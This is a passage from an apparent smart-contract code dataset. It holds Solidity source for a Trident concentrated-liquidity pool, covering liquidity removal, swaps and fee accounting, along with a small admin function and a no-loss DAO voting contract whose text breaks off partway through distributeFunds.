ITridentRouter.TokenInput[](2); callbackData[0] = ITridentRouter.TokenInput(token0, mintParams.token0native, amount0Actual); callbackData[1] = ITridentRouter.TokenInput(token1, mintParams.token1native, amount1Actual); ITridentCallee(msg.sender).tridentMintCallback(abi.encode(callbackData)); } unchecked { if (amount0Actual != 0) { if (amount0Actual + reserve0 > _balance(token0)) revert Token0Missing(); reserve0 += amount0Actual; } if (amount1Actual != 0) { if (amount1Actual + reserve1 > _balance(token1)) revert Token1Missing(); reserve1 += amount1Actual; } } (uint256 feeGrowth0, uint256 feeGrowth1) = rangeFeeGrowth(mintParams.lower, mintParams.upper); if (mintParams.positionRecipient != address(0)) { IPositionManager(mintParams.positionOwner).positionMintCallback( mintParams.positionRecipient, mintParams.lower, mintParams.upper, uint128(_liquidity), feeGrowth0, feeGrowth1, mintParams.positionId ); } emit Mint(mintParams.positionOwner, amount0Actual, amount1Actual); } /// @notice Burn function that cannpt conform to the IPool interface due to having three return values. /// @dev Burns LP tokens sent to this contract. function decreaseLiquidity( int24 lower, int24 upper, uint128 amount, address recipient, bool unwrapBento ) public returns ( IPool.TokenAmount[] memory withdrawnAmounts, IPool.TokenAmount[] memory feesWithdrawn, uint256 oldLiquidity ) { uint256 amount0; uint256 amount1; { uint160 priceLower = TickMath.getSqrtRatioAtTick(lower); uint160 priceUpper = TickMath.getSqrtRatioAtTick(upper); uint160 currentPrice = price; unchecked { if (priceLower < currentPrice && currentPrice < priceUpper) liquidity -= amount; } (amount0, amount1) = DyDxMath.getAmountsForLiquidity( uint256(priceLower), uint256(priceUpper), uint256(currentPrice), uint256(amount), false ); } { // Ensure no overflow happens when we cast to int128. if (amount > uint128(type(int128).max)) revert Overflow(); uint256 amount0fees; uint256 amount1fees; (amount0fees, amount1fees, oldLiquidity) = _updatePosition(msg.sender, lower, upper, -int128(amount)); withdrawnAmounts = new TokenAmount[](2); withdrawnAmounts[0] = TokenAmount({token: token0, amount: amount0}); withdrawnAmounts[1] = TokenAmount({token: token1, amount: amount1}); feesWithdrawn = new TokenAmount[](2); feesWithdrawn[0] = TokenAmount({token: token0, amount: amount0fees}); feesWithdrawn[1] = TokenAmount({token: token1, amount: amount1fees}); unchecked { amount0 += amount0fees; amount1 += amount1fees; } } unchecked { reserve0 -= uint128(amount0); reserve1 -= uint128(amount1); } _transferBothTokens(recipient, amount0, amount1, unwrapBento); nearestTick = Ticks.remove(ticks, lower, upper, amount, nearestTick); emit Burn(msg.sender, amount0, amount1); } function burn(bytes calldata) public pure override returns (IPool.TokenAmount[] memory) { revert(); } function burnSingle(bytes calldata) public pure override returns (uint256) { revert(); } function collect( int24 lower, int24 upper, address recipient, bool unwrapBento ) public lock returns (uint256 amount0fees, uint256 amount1fees) { (amount0fees, amount1fees, ) = _updatePosition(msg.sender, lower, upper, 0); _transferBothTokens(recipient, amount0fees, amount1fees, unwrapBento); reserve0 -= uint128(amount0fees); reserve1 -= uint128(amount1fees); emit Collect(msg.sender, amount0fees, amount1fees); } /// @dev Swaps one token for another. The router must prefund this contract and ensure there isn't too much slippage /// - price is √(y/x) /// - x is token0 /// - zero for one -> price will move down. function swap(bytes memory data) public override lock returns (uint256 amountOut) { (bool zeroForOne, uint256 inAmount, address recipient, bool unwrapBento) = abi.decode(data, (bool, uint256, address, bool)); SwapCache memory cache = SwapCache({ feeAmount: 0, totalFeeAmount: 0, protocolFee: 0, feeGrowthGlobal: zeroForOne ? feeGrowthGlobal1 : feeGrowthGlobal0, currentPrice: uint256(price), currentLiquidity: uint256(liquidity), input: inAmount, nextTickToCross: zeroForOne ? nearestTick : ticks[nearestTick].nextTick }); unchecked { uint256 timestamp = block.timestamp; uint256 diff = timestamp - uint256(lastObservation); // Underflow in 2106. Don't do staking rewards in the year 2106. if (diff > 0 && liquidity > 0) { lastObservation = uint32(timestamp); secondsGrowthGlobal += uint160((diff << 128) / liquidity); } } while (cache.input != 0) { uint256 nextTickPrice = uint256(TickMath.getSqrtRatioAtTick(cache.nextTickToCross)); uint256 output = 0; bool cross = false; if (zeroForOne) { // Trading token 0 (x) for token 1 (y). // Price is decreasing. // Maximum input amount within current tick range: Δx = Δ(1/√𝑃) · L. uint256 maxDx = DyDxMath.getDx(cache.currentLiquidity, nextTickPrice, cache.currentPrice, false); if (cache.input <= maxDx) { // We can swap within the current range. uint256 liquidityPadded = cache.currentLiquidity << 96; // Calculate new price after swap: √𝑃[new] = L · √𝑃 / (L + Δx · √𝑃) // This is derrived from Δ(1/√𝑃) = Δx/L // where Δ(1/√𝑃) is 1/√𝑃[old] - 1/√𝑃[new] and we solve for √𝑃[new]. // In case of an owerflow we can use: √𝑃[new] = L / (L / √𝑃 + Δx). // This is derrived by dividing the original fraction by √𝑃 on both sides. uint256 newPrice = uint256( FullMath.mulDivRoundingUp(liquidityPadded, cache.currentPrice, liquidityPadded + cache.currentPrice * cache.input) ); if (!(nextTickPrice <= newPrice && newPrice < cache.currentPrice)) { // Overflow. We use a modified version of the formula. newPrice = uint160(UnsafeMath.divRoundingUp(liquidityPadded, liquidityPadded / cache.currentPrice + cache.input)); } // Based on the price difference calculate the output of th swap: Δy = Δ√P · L. output = DyDxMath.getDy(cache.currentLiquidity, newPrice, cache.currentPrice, false); cache.currentPrice = newPrice; cache.input = 0; } else { // Execute swap step and cross the tick. output = DyDxMath.getDy(cache.currentLiquidity, nextTickPrice, cache.currentPrice, false); cache.currentPrice = nextTickPrice; cross = true; cache.input -= maxDx; } } else { // Price is increasing. // Maximum swap amount within the current tick range: Δy = Δ√P · L. uint256 maxDy = DyDxMath.getDy(cache.currentLiquidity, cache.currentPrice, nextTickPrice, false); if (cache.input <= maxDy) { // We can swap within the current range. // Calculate new price after swap: ΔP = Δy/L. uint256 newPrice = cache.currentPrice + FullMath.mulDiv(cache.input, 0x1000000000000000000000000, cache.currentLiquidity); // Calculate output of swap // - Δx = Δ(1/√P) · L. output = DyDxMath.getDx(cache.currentLiquidity, cache.currentPrice, newPrice, false); cache.currentPrice = newPrice; cache.input = 0; } else { // Swap & cross the tick. output = DyDxMath.getDx(cache.currentLiquidity, cache.currentPrice, nextTickPrice, false); cache.currentPrice = nextTickPrice; cross = true; cache.input -= maxDy; } } (cache.totalFeeAmount, amountOut, cache.protocolFee, cache.feeGrowthGlobal) = SwapLib.handleFees( output, swapFee, barFee, cache.currentLiquidity, cache.totalFeeAmount, amountOut, cache.protocolFee, cache.feeGrowthGlobal ); if (cross) { (cache.currentLiquidity, cache.nextTickToCross) = Ticks.cross( ticks, cache.nextTickToCross, secondsGrowthGlobal, cache.currentLiquidity, cache.feeGrowthGlobal, zeroForOne ); if (cache.currentLiquidity == 0) { // We step into a zone that has liquidity - or we reach the end of the linked list. cache.currentPrice = uint256(TickMath.getSqrtRatioAtTick(cache.nextTickToCross)); (cache.currentLiquidity, cache.nextTickToCross) = Ticks.cross( ticks, cache.nextTickToCross, secondsGrowthGlobal, cache.currentLiquidity, cache.feeGrowthGlobal, zeroForOne ); } } } price = uint160(cache.currentPrice); int24 newNearestTick = zeroForOne ? cache.nextTickToCross : ticks[cache.nextTickToCross].previousTick; if (nearestTick != newNearestTick) { nearestTick = newNearestTick; liquidity = uint128(cache.currentLiquidity); } _updateReserves(zeroForOne, uint128(inAmount), amountOut); _updateFees(zeroForOne, cache.feeGrowthGlobal, uint128(cache.protocolFee)); if (zeroForOne) { _transfer(token1, amountOut, recipient, unwrapBento); emit Swap(recipient, token0, token1, inAmount, amountOut); } else { _transfer(token0, amountOut, recipient, unwrapBento); emit Swap(recipient, token1, token0, inAmount, amountOut); } } /// @dev Reserved for IPool. function flashSwap(bytes calldata) public pure override returns (uint256) { revert(); } /// @dev Updates `barFee` for Trident protocol. function updateBarFee() public { barFee = IMasterDeployer(masterDeployer).barFee(); } /// @dev Collects fees for Trident protocol. function collectProtocolFee() public lock returns (uint128 amount0, uint128 amount1) { if (token0ProtocolFee > 1) { amount0 = token0ProtocolFee - 1; token0ProtocolFee = 1; reserve0 -= amount0; _transfer(token0, amount0, barFeeTo, false); } if (token1ProtocolFee > 1) { amount1 = token1ProtocolFee - 1; token1ProtocolFee = 1; reserve1 -= amount1; _transfer(token1, amount1, barFeeTo, false); } } function _ensureTickSpacing(int24 lower, int24 upper) internal view { if (lower % int24(tickSpacing) != 0) revert InvalidTick(); if ((lower / int24(tickSpacing)) % 2 != 0) revert LowerEven(); if (upper % int24(tickSpacing) != 0) revert InvalidTick(); if ((upper / int24(tickSpacing)) % 2 == 0) revert UpperOdd(); } function _updateReserves( bool zeroForOne, uint128 inAmount, uint256 amountOut ) internal { if (zeroForOne) { uint256 balance0 = _balance(token0); uint128 newBalance = reserve0 + inAmount; if (uint256(newBalance) > balance0) revert Token0Missing(); reserve0 = newBalance; reserve1 -= uint128(amountOut); } else { uint256 balance1 = _balance(token1); uint128 newBalance = reserve1 + inAmount; if (uint256(newBalance) > balance1) revert Token1Missing(); reserve1 = newBalance; reserve0 -= uint128(amountOut); } } function _updateFees( bool zeroForOne, uint256 feeGrowthGlobal, uint128 protocolFee ) internal { if (zeroForOne) { feeGrowthGlobal1 = feeGrowthGlobal; token1ProtocolFee += protocolFee; } else { feeGrowthGlobal0 = feeGrowthGlobal; token0ProtocolFee += protocolFee; } } function _updatePosition( address owner, int24 lower, int24 upper, int128 amount ) internal returns ( uint256 amount0fees, uint256 amount1fees, uint256 oldLiquidity ) { Position storage position = positions[owner][lower][upper]; (uint256 growth0current, uint256 growth1current) = rangeFeeGrowth(lower, upper); amount0fees = FullMath.mulDiv( growth0current - position.feeGrowthInside0Last, position.liquidity, 0x100000000000000000000000000000000 ); amount1fees = FullMath.mulDiv( growth1current - position.feeGrowthInside1Last, position.liquidity, 0x100000000000000000000000000000000 ); oldLiquidity = position.liquidity; if (amount < 0) { position.liquidity -= uint128(-amount); } if (amount > 0) { position.liquidity += uint128(amount); if (position.liquidity > MAX_TICK_LIQUIDITY) revert LiquidityOverflow(); } position.feeGrowthInside0Last = growth0current; position.feeGrowthInside1Last = growth1current; } function _balance(address token) internal view returns (uint256 balance) { balance = bento.balanceOf(token, address(this)); } function _transfer( address token, uint256 shares, address to, bool unwrapBento ) internal { if (unwrapBento) { bento.withdraw(token, address(this), to, 0, shares); } else { bento.transfer(token, address(this), to, shares); } } function _transferBothTokens( address to, uint256 shares0, uint256 shares1, bool unwrapBento ) internal { if (unwrapBento) { bento.withdraw(token0, address(this), to, 0, shares0); bento.withdraw(token1, address(this), to, 0, shares1); } else { bento.transfer(token0, address(this), to, shares0); bento.transfer(token1, address(this), to, shares1); } } /// @dev Generic formula for fee growth inside a range: (globalGrowth - growthBelow - growthAbove) /// - available counters: global, outside u, outside v. /// u ▼ v /// ----|----|-------|xxxxxxxxxxxxxxxxxxx|--------|--------- (global - feeGrowthOutside(u) - feeGrowthOutside(v)) /// ▼ u v /// ----|----|-------|xxxxxxxxxxxxxxxxxxx|--------|--------- (global - (global - feeGrowthOutside(u)) - feeGrowthOutside(v)) /// u v ▼ /// ----|----|-------|xxxxxxxxxxxxxxxxxxx|--------|--------- (global - feeGrowthOutside(u) - (global - feeGrowthOutside(v))) /// @notice Calculates the fee growth inside a range (per unit of liquidity). /// @dev Multiply `rangeFeeGrowth` delta by the provided liquidity to get accrued fees for some period. function rangeFeeGrowth(int24 lowerTick, int24 upperTick) public view returns (uint256 feeGrowthInside0, uint256 feeGrowthInside1) { int24 currentTick = nearestTick; Ticks.Tick storage lower = ticks[lowerTick]; Ticks.Tick storage upper = ticks[upperTick]; // Calculate fee growth below & above. uint256 _feeGrowthGlobal0 = feeGrowthGlobal0; uint256 _feeGrowthGlobal1 = feeGrowthGlobal1; uint256 feeGrowthBelow0; uint256 feeGrowthBelow1; uint256 feeGrowthAbove0; uint256 feeGrowthAbove1; if (lowerTick <= currentTick) { feeGrowthBelow0 = lower.feeGrowthOutside0; feeGrowthBelow1 = lower.feeGrowthOutside1; } else { feeGrowthBelow0 = _feeGrowthGlobal0 - lower.feeGrowthOutside0; feeGrowthBelow1 = _feeGrowthGlobal1 - lower.feeGrowthOutside1; } if (currentTick < upperTick) { feeGrowthAbove0 = upper.feeGrowthOutside0; feeGrowthAbove1 = upper.feeGrowthOutside1; } else { feeGrowthAbove0 = _feeGrowthGlobal0 - upper.feeGrowthOutside0; feeGrowthAbove1 = _feeGrowthGlobal1 - upper.feeGrowthOutside1; } feeGrowthInside0 = _feeGrowthGlobal0 - feeGrowthBelow0 - feeGrowthAbove0; feeGrowthInside1 = _feeGrowthGlobal1 - feeGrowthBelow1 - feeGrowthAbove1; } function getAssets() public view override returns (address[] memory assets) { assets = new address[](2); assets[0] = token0; assets[1] = token1; } /// @dev Reserved for IPool. function getAmountOut(bytes calldata) public pure override returns (uint256) { revert(); } /// @dev Reserved for IPool. function getAmountIn(bytes calldata) public pure override returns (uint256) { revert(); } function getImmutables() public view returns ( uint128 _MAX_TICK_LIQUIDITY, uint24 _tickSpacing, uint24 _swapFee, address _barFeeTo, IBentoBoxMinimal _bento, IMasterDeployer _masterDeployer, address _token0, address _token1 ) { _MAX_TICK_LIQUIDITY = MAX_TICK_LIQUIDITY; _tickSpacing = tickSpacing; _swapFee = swapFee; // 1000 corresponds to 0.1% fee. _barFeeTo = barFeeTo; _bento = bento; _masterDeployer = masterDeployer; _token0 = token0; _token1 = token1; } function getPriceAndNearestTicks() public view returns (uint160 _price, int24 _nearestTick) { _price = price; _nearestTick = nearestTick; } function getTokenProtocolFees() public view returns (uint128 _token0ProtocolFee, uint128 _token1ProtocolFee) { _token0ProtocolFee = token0ProtocolFee; _token1ProtocolFee = token1ProtocolFee; } function getReserves() public view returns (uint128 _reserve0, uint128 _reserve1) { _reserve0 = reserve0; _reserve1 = reserve1; } function getSecondsGrowthAndLastObservation() public view returns (uint160 _secondsGrowthGlobal, uint32 _lastObservation) { _secondsGrowthGlobal = secondsGrowthGlobal; _lastObservation = lastObservation; } }
Burn function that cannpt conform to the IPool interface due to having three return values. Burns LP tokens sent to this contract. Ensure no overflow happens when we cast to int128.
function decreaseLiquidity( int24 lower, int24 upper, uint128 amount, address recipient, bool unwrapBento ) public returns ( IPool.TokenAmount[] memory withdrawnAmounts, IPool.TokenAmount[] memory feesWithdrawn, uint256 oldLiquidity ) { uint256 amount0; uint256 amount1; { uint160 priceLower = TickMath.getSqrtRatioAtTick(lower); uint160 priceUpper = TickMath.getSqrtRatioAtTick(upper); uint160 currentPrice = price; unchecked { if (priceLower < currentPrice && currentPrice < priceUpper) liquidity -= amount; } (amount0, amount1) = DyDxMath.getAmountsForLiquidity( uint256(priceLower), uint256(priceUpper), uint256(currentPrice), uint256(amount), false ); } { if (amount > uint128(type(int128).max)) revert Overflow(); uint256 amount0fees; uint256 amount1fees; (amount0fees, amount1fees, oldLiquidity) = _updatePosition(msg.sender, lower, upper, -int128(amount)); withdrawnAmounts = new TokenAmount[](2); feesWithdrawn = new TokenAmount[](2); unchecked { amount0 += amount0fees; amount1 += amount1fees; } } unchecked { reserve0 -= uint128(amount0); reserve1 -= uint128(amount1); } _transferBothTokens(recipient, amount0, amount1, unwrapBento); nearestTick = Ticks.remove(ticks, lower, upper, amount, nearestTick); emit Burn(msg.sender, amount0, amount1); }
12,582,239
./full_match/1/0x7D24D647Fd58383a136D2D159C04CA3661CaC9E7/sources/browser/RHAsset.sol
write operation summary on blockchain _tmpSummary bytes with info return bool success/
function writeSummary (string calldata _tmpSummary) external override onlyAdmins returns (bool) { _summary = _tmpSummary; return true; }
17,048,386
pragma solidity 0.5.15; // import "./interfaces/IERC20.sol"; import "./interfaces/IAaveLendingPool.sol"; import "./interfaces/IADai.sol"; import "./interfaces/IPoolDeposits.sol"; import "@nomiclabs/buidler/console.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/upgrades/contracts/Initializable.sol"; /** @title No Loss Dao Contract. */ contract NoLossDao_v0 is Initializable { using SafeMath for uint256; //////// MASTER ////////////// address public admin; //////// Iteration specific ////////// uint256 public votingInterval; uint256 public proposalIteration; ///////// Proposal specific /////////// uint256 public proposalId; uint256 public proposalDeadline; // keeping track of time mapping(uint256 => string) public proposalIdentifier; mapping(address => uint256) public benefactorsProposal; // benefactor -> proposal id mapping(uint256 => address) public proposalOwner; // proposal id -> benefactor (1:1 mapping) enum ProposalState {DoesNotExist, Withdrawn, Active} mapping(uint256 => ProposalState) public state; // ProposalId to current state //////// User specific ////////// mapping(address => uint256) public iterationJoined; // Which iteration did user join DAO mapping(uint256 => mapping(address => bool)) public userVotedThisIteration; // iteration -> user -> has voted? mapping(uint256 => mapping(address => mapping(uint256 => bool))) public hasUserVotedForProposalIteration; /// iteration -> userAddress -> proposalId -> bool mapping(uint256 => mapping(address => mapping(uint256 => uint256))) public votesPerProposalForUser; // iteration -> user -> chosen project -> votes mapping(uint256 => mapping(address => uint256)) public usersVoteCredit; // iteration -> address -> credit //////// DAO / VOTE specific ////////// mapping(uint256 => mapping(uint256 => uint256)) public proposalVotes; /// iteration -> proposalId -> num votes mapping(uint256 => uint256) public topProject; mapping(address => address) public voteDelegations; // For vote proxy mapping(uint256 => uint256) public totalStakedVoteIncentiveInIteration; mapping(uint256 => uint256) public totalIterationVotePayout; mapping(address => bool) public usersWhiteListedToVote; // As a safty mechanism a whitelist of members can be activated. bool public isWhiteListActive; ///////// DEFI Contrcats /////////// IPoolDeposits public depositContract; // Crrate blank 256 arrays of fixed length for upgradability. ///////// Events /////////// event VoteDelegated(address indexed user, address delegatedTo); event VotedDirect( address indexed user, uint256 indexed iteration, uint256 indexed proposalId, uint256 amount, uint256 sqrt ); event VotedViaProxy( address indexed proxy, address user, uint256 indexed iteration, uint256 indexed proposalId, uint256 amount, uint256 sqrt ); event IterationChanged( uint256 indexed newIterationId, address miner, uint256 timeStamp ); event IterationWinner( uint256 indexed propsalIteration, address indexed winner, uint256 indexed projectId ); event InterestConfigChanged( address[] addresses, uint256[] percentages, uint256 iteration ); // Test these events event ProposalActive( uint256 indexed proposalId, address benefactor, uint256 iteration ); event ProposalWithdrawn(uint256 indexed proposalId, uint256 iteration); //////////////////////////////////// //////// Modifiers ///////////////// //////////////////////////////////// modifier onlyAdmin() { require(msg.sender == admin, "Not admin"); _; } modifier userStaked(address givenAddress) { require( depositContract.depositedDai(givenAddress) > 0, "User has no stake" ); _; } modifier noVoteYet(address givenAddress) { require( userVotedThisIteration[proposalIteration][givenAddress] == false, "User already voted this iteration" ); _; } modifier quadraticCorrect(uint256 amount, uint256 sqrt) { require(sqrt.mul(sqrt) == amount, "Square root incorrect"); require(amount > 0, "Cannot vote with 0"); _; } modifier noVoteYetOnThisProposal( address givenAddress, uint256 proposalIdToVoteFor ) { require( !hasUserVotedForProposalIteration[proposalIteration][givenAddress][proposalIdToVoteFor], "Already voted on this proposal" ); _; } modifier userHasActiveProposal(address givenAddress) { require( state[benefactorsProposal[givenAddress]] == ProposalState.Active, "User proposal does not exist" ); _; } modifier userHasNoActiveProposal(address givenAddress) { require( state[benefactorsProposal[givenAddress]] != ProposalState.Active, "User has an active proposal" ); _; } modifier userHasNoProposal(address givenAddress) { require(benefactorsProposal[givenAddress] == 0, "User has a proposal"); _; } modifier proposalActive(uint256 propId) { require( state[propId] == ProposalState.Active, "Proposal is not active" ); _; } modifier proxyRight(address delegatedFrom) { require( voteDelegations[delegatedFrom] == msg.sender, "User does not have proxy right" ); _; } modifier isEligibleToVote(address user) { _isEligibleToVote(user); _; } // /** // * @notice Modifier to only allow updates by the VRFCoordinator contract // */ // modifier onlyVRFCoordinator { // require( // msg.sender == vrfCoordinator, // "Fulfillment only allowed by VRFCoordinator" // ); // _; // } // We reset the iteration back to zero when a user leaves. Means this modifier will no longer protect. // But, its okay because it cannot be exploited. When 0, the user will have zero deposit. // Therefore that modifier will always catch them in that case :) modifier joinedInTime(address givenAddress) { require( iterationJoined[givenAddress] < proposalIteration, "User only eligible to vote next iteration" ); _; } modifier lockInFulfilled(address givenAddress) { require( iterationJoined[givenAddress] + 2 < proposalIteration, "Benefactor has not fulfilled the minimum lockin period of 2 iterations" ); _; } modifier iterationElapsed() { require(proposalDeadline < now, "iteration interval not ended"); _; } modifier depositContractOnly() { require( address(depositContract) == msg.sender, // Is this a valid way of getting the address? "function can only be called by deposit contract" ); _; } //////////////////////////////////// //////// SETUP CONTRACT//////////// //// NOTE: Upgradable at the moment function initialize(address depositContractAddress, uint256 _votingInterval) public initializer { depositContract = IPoolDeposits(depositContractAddress); admin = msg.sender; votingInterval = _votingInterval; proposalDeadline = now.add(_votingInterval); //NOTE: THIS should be shorter for the first no voting iteration emit IterationChanged(0, msg.sender, now); } /////////////////////////////////// /////// Config functions ////////// /////////////////////////////////// /// @dev Changes the time iteration between intervals /// @param newInterval new time interval between interations function changeVotingInterval(uint256 newInterval) public onlyAdmin { votingInterval = newInterval; } /// @dev Changes the amount required to stake for new proposal /// @param amount how much new amount is. function changeProposalStakingAmount(uint256 amount) public onlyAdmin { depositContract.changeProposalAmount(amount); } /// @dev Sets whitelist voting /// @param _isWhiteListActive value to set it to. function setWhiteListVotingOnly(bool _isWhiteListActive) public onlyAdmin { isWhiteListActive = _isWhiteListActive; } // NOTE: This function can be upgraded in future versions (or left out if sybil attack isn't a big issue) // In future versions more complicated membership process and requirements can be implemented. For v0 an admin function makes sense. - launch early and iterate ;) function whiteListUsers(address[] memory usersToWhitelist) public onlyAdmin { for (uint8 i = 0; i < usersToWhitelist.length; ++i) { usersWhiteListedToVote[usersToWhitelist[i]] = true; } } function blackListUsers(address[] memory usersToBlacklist) public onlyAdmin { for (uint8 i = 0; i < usersToBlacklist.length; ++i) { usersWhiteListedToVote[usersToBlacklist[i]] = false; } } function _isEligibleToVote(address user) internal { if (isWhiteListActive) { require( usersWhiteListedToVote[user], "whitelist is active and user not on whitelist" ); } } //////////////////////////////////////////////////////////////////////////////////////////////////////////////// /////// Deposit & withdraw function for users ////////// ////////and proposal holders (benefactors) ///////////// //////////////////////////////////////////////////////// /// @dev Checks whether user is eligible deposit and sets the proposal iteration joined, to the current iteration /// @param userAddress address of the user wanting to deposit /// @return boolean whether the above executes successfully function noLossDeposit(address userAddress) external depositContractOnly userHasNoProposal(userAddress) // Checks they are not a benefactor returns (bool) { iterationJoined[userAddress] = proposalIteration; return true; } /// @dev Checks whether user is eligible to withdraw their deposit and sets the proposal iteration joined to zero /// @param userAddress address of the user wanting to withdraw /// @return boolean whether the above executes successfully function noLossWithdraw(address userAddress) external depositContractOnly noVoteYet(userAddress) userHasNoProposal(userAddress) returns (bool) { iterationJoined[userAddress] = 0; return true; } /// @dev Checks whether user is eligible to create a proposal then creates it. Executes a range of logic to add the new propsal (increments proposal ID, sets proposal owner, sets iteration joined, etc...) /// @param _proposalIdentifier Hash of the proposal text /// @param benefactorAddress address of benefactor creating proposal /// @return boolean whether the above executes successfully function noLossCreateProposal( string calldata _proposalIdentifier, address benefactorAddress ) external depositContractOnly returns (uint256 newProposalId) { proposalId = proposalId.add(1); proposalIdentifier[proposalId] = _proposalIdentifier; proposalOwner[proposalId] = benefactorAddress; benefactorsProposal[benefactorAddress] = proposalId; state[proposalId] = ProposalState.Active; iterationJoined[benefactorAddress] = proposalIteration; emit ProposalActive(proposalId, benefactorAddress, proposalIteration); return proposalId; } /// @dev Checks whether user is eligible to withdraw their proposal /// Sets the state of the users proposal to withdrawn /// resets the iteration of user joined back to 0 /// @param benefactorAddress address of benefactor withdrawing proposal /// @return boolean whether the above is possible function noLossWithdrawProposal(address benefactorAddress) external depositContractOnly userHasActiveProposal(benefactorAddress) lockInFulfilled(benefactorAddress) returns (bool) { uint256 benefactorsProposalId = benefactorsProposal[benefactorAddress]; iterationJoined[benefactorAddress] = 0; state[benefactorsProposalId] = ProposalState.Withdrawn; emit ProposalWithdrawn(benefactorsProposalId, proposalIteration); return true; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////// /////// DAO voting functionality ////////////////////// //////////////////////////////////////////////////////// function _resetUsersVotingCreditIfFirstVoteThisIteration( address givenAddress ) internal { if (!userVotedThisIteration[proposalIteration][givenAddress]) { uint256 usersVoteIncentiveStake; ( usersVoteCredit[proposalIteration][givenAddress], // NOTE: Users can only change their deposit through a complete withdrawl and new depsit // This means this value will always be constant and set correctly again if the above case occurs usersVoteIncentiveStake ) = depositContract.usersVotingCreditAndVoteIncentiveState( givenAddress ); userVotedThisIteration[proposalIteration][givenAddress] = true; // NOTE: no need for safemath here. totalStakedVoteIncentiveInIteration[proposalIteration] = totalStakedVoteIncentiveInIteration[proposalIteration] + usersVoteIncentiveStake; // add voice credit amount here for user. // add same total amount for variable // IF person voted last iteration, trigger payout\ // Since you can only vote on iteration 1 at earliest, proposalIteration - 1 should be safe if (userVotedThisIteration[proposalIteration - 1][givenAddress]) { // give them payout of interest earned during iteration that is proportional to the number of people who voted. uint256 amountPayedAsParticipationIncentive = totalIterationVotePayout[proposalIteration - 1] .mul(usersVoteIncentiveStake) .div( totalStakedVoteIncentiveInIteration[proposalIteration - 1] ); depositContract.payoutVotingIncentive( givenAddress, amountPayedAsParticipationIncentive ); } } } /// @dev Allows user to delegate their full voting power to another user /// @param delegatedAddress the address to which you are delegating your voting rights function delegateVoting(address delegatedAddress) external userStaked(msg.sender) userHasNoActiveProposal(msg.sender) userHasNoActiveProposal(delegatedAddress) { voteDelegations[msg.sender] = delegatedAddress; emit VoteDelegated(msg.sender, delegatedAddress); } /// @dev Allows user to vote for an active proposal. Once voted they cannot withdraw till next iteration. /// @param proposalIdToVoteFor Id of the proposal they are voting for function voteDirect( uint256 proposalIdToVoteFor, // breaking change -> function name change from vote to voteDirect uint256 amount, uint256 sqrt ) external proposalActive(proposalIdToVoteFor) noVoteYetOnThisProposal(msg.sender, proposalIdToVoteFor) userStaked(msg.sender) userHasNoActiveProposal(msg.sender) joinedInTime(msg.sender) quadraticCorrect(amount, sqrt) isEligibleToVote(msg.sender) { _vote(proposalIdToVoteFor, msg.sender, amount, sqrt); emit VotedDirect( msg.sender, proposalIteration, proposalIdToVoteFor, amount, sqrt ); } /// @dev Allows user proxy to vote on behalf of a user. /// @param proposalIdToVoteFor Id of the proposal they are voting for /// @param delegatedFrom user they are voting on behalf of function voteProxy( uint256 proposalIdToVoteFor, address delegatedFrom, uint256 amount, uint256 sqrt ) external proposalActive(proposalIdToVoteFor) proxyRight(delegatedFrom) noVoteYetOnThisProposal(delegatedFrom, proposalIdToVoteFor) userStaked(delegatedFrom) userHasNoActiveProposal(delegatedFrom) joinedInTime(delegatedFrom) quadraticCorrect(amount, sqrt) { _isEligibleToVote(delegatedFrom); _vote(proposalIdToVoteFor, delegatedFrom, amount, sqrt); emit VotedViaProxy( msg.sender, delegatedFrom, proposalIteration, proposalIdToVoteFor, amount, sqrt ); } /// @dev Internal function casting the actual vote from the requested address /// @param proposalIdToVoteFor Id of the proposal they are voting for /// @param voteAddress address the vote is stemming from function _vote( uint256 proposalIdToVoteFor, address voteAddress, uint256 amount, uint256 sqrt ) internal { _resetUsersVotingCreditIfFirstVoteThisIteration(voteAddress); hasUserVotedForProposalIteration[proposalIteration][voteAddress][proposalIdToVoteFor] = true; usersVoteCredit[proposalIteration][voteAddress] = usersVoteCredit[proposalIteration][voteAddress] .sub(amount); // SafeMath enforces they can't vote more then the credit they have. votesPerProposalForUser[proposalIteration][voteAddress][proposalIdToVoteFor] = sqrt; // Add the quadratic vote proposalVotes[proposalIteration][proposalIdToVoteFor] = proposalVotes[proposalIteration][proposalIdToVoteFor] .add(sqrt); uint256 topProjectVotes = proposalVotes[proposalIteration][topProject[proposalIteration]]; // Currently, proposal getting to top vote first will win. // Keeps track of the top DAO this iteration. if ( proposalVotes[proposalIteration][proposalIdToVoteFor] > topProjectVotes ) { topProject[proposalIteration] = proposalIdToVoteFor; } } //////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////// /////// Iteration changer / mining function ////////////////////// /////////////////////////////////////////////////////////////////// //// NOTE: Code commented out below is an experimental idea to award one voter from the previous iteration all the interest earned (as an incentive to vote). // Ultimately we decided that it made sense to have a more "kickback" style distribution of interest to incentivise voting. // /** // * @notice Requests randomness from a user-provided seed // * @dev The user-provided seed is hashed with the current blockhash as an additional precaution. // * @dev 1. In case of block re-orgs, the revealed answers will not be re-used again. // * @dev 2. In case of predictable user-provided seeds, the seed is mixed with the less predictable blockhash. // * @dev This is only an example implementation and not necessarily suitable for mainnet. // * @dev You must review your implementation details with extreme care. // */ // function chooseRandomVotingWinner(uint256 userProvidedSeed) // internal // returns (bytes32 requestId) // { // require( // LINK.balanceOf(address(this)) > fee, // "Not enough LINK - fill contract with faucet" // ); // uint256 seed = uint256( // keccak256(abi.encode(userProvidedSeed, blockhash(block.number))) // ); // Hash user seed and blockhash // bytes32 _requestId = requestRandomness(keyHash, fee, seed); // return _requestId; // } // /** // * @notice Callback function used by VRF Coordinator // * @dev Important! Add a modifier to only allow this function to be called by the VRFCoordinator // * @dev This is where you do something with randomness! // * @dev The VRF Coordinator will only send this function verified responses. // * @dev The VRF Coordinator will not pass randomness that could not be verified. // */ // function fulfillRandomness(bytes32 requestId, uint256 randomness) // external // override // onlyVRFCoordinator // { // uint256 d20Result = randomness.mod(20).add(1); // depositContract.distributeInterest( // interestReceivers, // percentages, // msg.sender, // change this to a random voter [chainlink VRF] // proposalIteration // ); // d20Results.push(d20Result); // } /// @dev Anyone can call this every 2 weeks (more specifically every *iteration interval*) to receive a reward, and increment onto the next iteration of voting function distributeFunds() external iterationElapsed { uint256 interestEarned = depositContract.interestAvailable(); uint256 numberOfUserVotes = totalStakedVoteIncentiveInIteration[proposalIteration]; if (numberOfUserVotes 